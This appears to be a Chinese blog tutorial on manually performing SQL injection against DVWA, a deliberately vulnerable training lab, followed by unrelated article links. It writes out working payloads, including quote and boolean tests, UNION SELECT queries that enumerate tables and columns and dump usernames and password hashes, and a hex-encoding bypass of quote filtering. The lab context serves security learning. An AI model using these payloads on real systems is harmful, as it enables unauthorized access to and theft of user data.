DVWA sql手注学习(巨详细不含sqlmap)
这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟,过程图片会比较多,比较基础和详细,不存在看不懂哪一步的过程
文章目录
- 靶场介绍
- SQL注入 low
- SQL注入 Medium
- SQL注入 High
- SQL注入 Impossible
靶场介绍
DVWA(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场。它是一个基于PHP/MySQL的开源Web应用程序,模拟了一个典型的Web应用程序环境,并包含了多种常见的Web安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入等。这些漏洞被故意设计出来,用于安全教育和渗透测试训练。
SQL注入 low
输入1,正常回显,观察URL明显是get请求传递的参数。

测试是否存在sql注入,这里用 ’ 来测(虽然这个是靶场,我们已经知道存在sql注入漏洞,我为了理清思路,这里完整的复述一遍)

这里报错了,说明这个网页存在sql注入的漏洞

测一下漏洞是字符型还是数字型
1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注释,有的地方可以用#注释,这里只能用#注释)
前两个都正常回显


这里我们猜测一下数据库的搜索语句应该是这样的,那么应该是字符型

1’ and 1=1#正常回显

1’ and 1=2#回显异常了

这里我们接着想一想后端的sql搜索语句是怎么写的,如下图,当前面闭合后,执行后面的1=1,会正常回显内容,当你1=2时,永假,页面肯定回显异常。到这里就可以判断一定是字符型的注入了。

到这一步基本上我们找到了闭合,可以开始注入了。
(ps:到了这儿,该如何注入就得看各位师父们的手法和技巧了,高超的技巧往往能更快更方便注入。)
1' order by
-1' union select 1,2#
这里的意思就是说联合注入,我们后面查询的1,2两个字段的数据显示在页面的哪个位置,搞清楚了位置我们就可以通过替换1,2字段的查询语句来进行数据库的信息的探测。

探测数据库名
-1' union select database(),2#

探测表名
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

探测表中字段名
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取数据(密码均为md5加密,各位可以去网上用md5解密网站跑,简单的一般不用收费)
1' and 1=2 union select user,password from users#

好了到此,low级别的sql注入已经差不多完成了,后面的中级和高级最后过程就不赘述,只寻找到闭合。
SQL注入 Medium
我们先观察一下页面,只能让你选择你的id,不让你输入了,使用post传参,我们可以用burp suite来抓包实现修改post数据

数据包如下:

分析到这里后,其实其他步骤跟low级别就差不多了
测有无sql漏洞:
id=1'&Submit=Submit测有无sql
判断类型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi
如此可以测出来,存在数字型的sql注入漏洞

测试代码如下:
id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit
这里要就能体现,medium和low有什么区别了。我们探测user表中的字段数时,发现sql语句报错了,说明后端做了过滤。我们点开源代码看看后端做了什么限制。

说明他可能过滤掉了我们的单引号,但是这种过滤其实也没啥太大用处,毕竟换个十六进制加密就能写进去。
id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

SQL注入 High
这里我们先审一下后端的代码,这里做的限制只要是limit 1,给你一个回复,而且你提交数据的页面和它显示给你的界面不是同一个,这样做是防止sqlmap等自动化扫描工具的批量扫描。然而其他的跟low级别基本上差不太多。

我们直接用low级别的payload也可以直接获取到他的数据库信息。

SQL注入 Impossible
关于这个难度,本人的php水平有限,等后期php的水平提升了再来审一下这个靶场的后端代码,这里先搁置在这里。csdn中很有很多大佬做了代码审计,各位感兴趣可以自行搜索。(QAQ)

相关文章:
DVWA sql手注学习(巨详细不含sqlmap)
这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟,过程图片会比较多,比较基础和详细,不存在看不懂哪一步的过程 文章目录 靶场介绍SQL注入 lowSQL注入 MediumSQL注入 HighSQL注入 Impossible 靶场介绍 DVWA(Damn…...
代码随想录算法训练营第70天图论9[1]
代码随想录算法训练营第70天:图论9 拓扑排序精讲 卡码网:117. 软件构建(opens new window) 题目描述: 某个大型软件项目的构建系统拥有 N 个文件,文件编号从 0 到 N - 1,在这些文件中,某些文件依赖于其他文件的…...
浏览器设计为默认
...
windows USB 设备驱动开发-USB设备描述符
USB的描述符是USB设备向主机报告状态的重要数据结构,在USB通电后,端点(也称为终结点)0始终处于可用状态,这个默认的端点就是用于主机从设备中读取描述符的。 讨论USB通讯,需要从软件和硬件两方面说起,在软件上&#x…...
【踩坑】修复报错Cannot find DGL libdgl_sparse_pytorch_2.2.0.so
转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~ 目录 错误复现 原因分析 解决方法 错误复现 import dgldataset dgl.data.CoraGraphDataset() graph dataset[0] graph.adjacency_matrix() 原因分…...
postman中参数和x-www-form-urlencoded传值的区别
在 Postman 中,传递参数的方式有多种,其中常用的包括 params 和 x-www-form-urlencoded。这两种方式在使用场景和传递数据的方式上有所不同。 1. Params Params 选项用于在 URL 中传递查询参数。这些参数通常用于 GET 请求,但也可以与其他 …...
自己训练 PaddleOCR
打标工具 https://github.com/Evezerest/PPOCRLabel 感谢这位热心网友提供的标注工具,操作非常的方便 只是这个工具有个小坑get_rotate_crop_image() 我的标注数据导出时,很多数据变成倒的 hmmmm, 你管我~ if dst_img_height …...
基于SpringBoot的地方废物回收机构管理系统
本系统主要包括管理员和员工两个角色组成;主要包括:首页、个人中心、员工管理、员工请假管理、销假申请管理、工作日志管理、员工工资管理、员工任务管理、任务汇报管理、设备信息管理、设备借用管理、设备归还管理、设备保修管理、维修入库管理、员工打…...
跑腿平台小程序的设计
管理员账户功能包括:系统首页,个人中心,基础数据管理,管理员管理,接单详情管理,跑腿员管理,跑腿任务管理 微信端账号功能包括:系统首页,跑腿任务,接单员&…...
Java技术栈总结:Redis篇
一、数据类型 Redis 自身是一个 Map,其中的所有数据均采用“key:value”的形式存储。 数据类型指的是存储的数据的类型,即 value 部分的类型,key 的部分只能是字符串。 value 部分的数据类型:<String、List、Hash、Set、Zse…...
django models对应的mysql类型
Django模型字段类型与MySQL数据库类型的对应关系如下: Django 模型字段类型MySQL 数据库类型AutoFieldBIGINT UNSIGNEDCharFieldVARCHARIntegerFieldINTDecimalFieldDECIMALDateFieldDATEDateTimeFieldDATETIMEFileField, ImageFieldVARCHAR (用于文件路径)Boolean…...
2024攻防演练:亚信安全新一代WAF,关键时刻守护先锋
实网攻防 网络安全如同一面坚固的盾牌,保护着我们的信息资产免受无孔不入的威胁。而其中,WAF就像网络安全的守门员,关键时刻挺身而出,为您的企业筑起一道坚实的防线。 攻防不对等 防守方实时应答压力山大 在攻防对抗中…...
富格林:曝光有效方案安全交易
富格林认为,近些年来大家的投资理财意识逐渐增强,现货黄金作为一种自带优质避险功能的投资产品,自然就受到投资者的关注和追捧。但现货黄金的交易市场相对来说还是比较混杂,投资小白稍不留神就可能会陷入受害陷阱当中无法安全交易…...
ArtTS系统能力-窗口管理的学习(3.2)
上篇回顾: ArtTS系统能力-通知的学习(3.1) 本篇内容: ArtTS系统能力-窗口管理的学习(3.2) 一、 知识储备 1. 基本概念 窗口渲染式能力:指对状态栏、导航栏等系统窗口进行控制,减…...
C++ 运算符的优先级和关联性表
C 运算符的优先级和关联性表 1. Precedence and associativity (优先级和结合性)2. Alternative spellings (替代拼写)3. C operator precedence and associativity table (C 运算符的优先级和关联性表)References C documentation (C 文档) https://learn.microsoft.com/en-us…...
正则表达式替换字符串的方法
正则表达式替换字符串的方法 大家好,我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编,也是冬天不穿秋裤,天冷也要风度的程序猿!今天我们来探讨一个非常实用的编程技术:使用正则表达式替换字符串。正则…...
开源模型应用落地-FastAPI-助力模型交互-WebSocket篇(五)
一、前言 使用 FastAPI 可以帮助我们更简单高效地部署 AI 交互业务。FastAPI 提供了快速构建 API 的能力,开发者可以轻松地定义模型需要的输入和输出格式,并编写好相应的业务逻辑。 FastAPI 的异步高性能架构,可以有效支持大量并发的预测请求,为用户提供流畅的交互体验。此外,F…...
2024/7/4总结
http协议 http协议,是一个客户端请求和响应的标准协议,这个协议详细规定了浏览器和万维网服务器之间互相通信的规则。用户输入地址和端口号之后就可以从服务器上取得所需要的网页信息。 通信规则规定了客户端发送给服务器的内容格式,也规定了服务器发送给…...
【Android面试八股文】Looper如何在子线程中创建?
文章目录 一、Looper的几个重要方法二、子线程中使用Looper的方式1三、子线程中使用Looper的方式23.1 使用HandlerThread实现3.2 HandlerThread源码解析创建子线程的 Looper必须要通过 Looper.prepare()初始化looper,然后再通过 Looper.loop()方法让 Loop运行起来。 那么具…...
IT项目管理文档体系
IT项目管理文档体系是确保项目顺利进行、有效沟通和合规性的关键组成部分。一个完善的文档体系能够帮助项目团队记录决策过程、明确职责、跟踪进度、管理变更并提供审计痕迹。 项目启动文档: 项目章程:正式授权项目启动,定义项目目标、范围、…...
Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...
家政维修平台实战20:权限设计
目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系,主要是分成几个表,用户表我们是记录用户的基础信息,包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题,不同的角色…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
React19源码系列之 事件插件系统
事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...
数据链路层的主要功能是什么
数据链路层(OSI模型第2层)的核心功能是在相邻网络节点(如交换机、主机)间提供可靠的数据帧传输服务,主要职责包括: 🔑 核心功能详解: 帧封装与解封装 封装: 将网络层下发…...
图表类系列各种样式PPT模版分享
图标图表系列PPT模版,柱状图PPT模版,线状图PPT模版,折线图PPT模版,饼状图PPT模版,雷达图PPT模版,树状图PPT模版 图表类系列各种样式PPT模版分享:图表系列PPT模板https://pan.quark.cn/s/20d40aa…...
Mobile ALOHA全身模仿学习
一、题目 Mobile ALOHA:通过低成本全身远程操作学习双手移动操作 传统模仿学习(Imitation Learning)缺点:聚焦与桌面操作,缺乏通用任务所需的移动性和灵活性 本论文优点:(1)在ALOHA…...
JavaScript基础-API 和 Web API
在学习JavaScript的过程中,理解API(应用程序接口)和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能,使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
实战三:开发网页端界面完成黑白视频转为彩色视频
一、需求描述 设计一个简单的视频上色应用,用户可以通过网页界面上传黑白视频,系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观,不需要了解技术细节。 效果图 二、实现思路 总体思路: 用户通过Gradio界面上…...
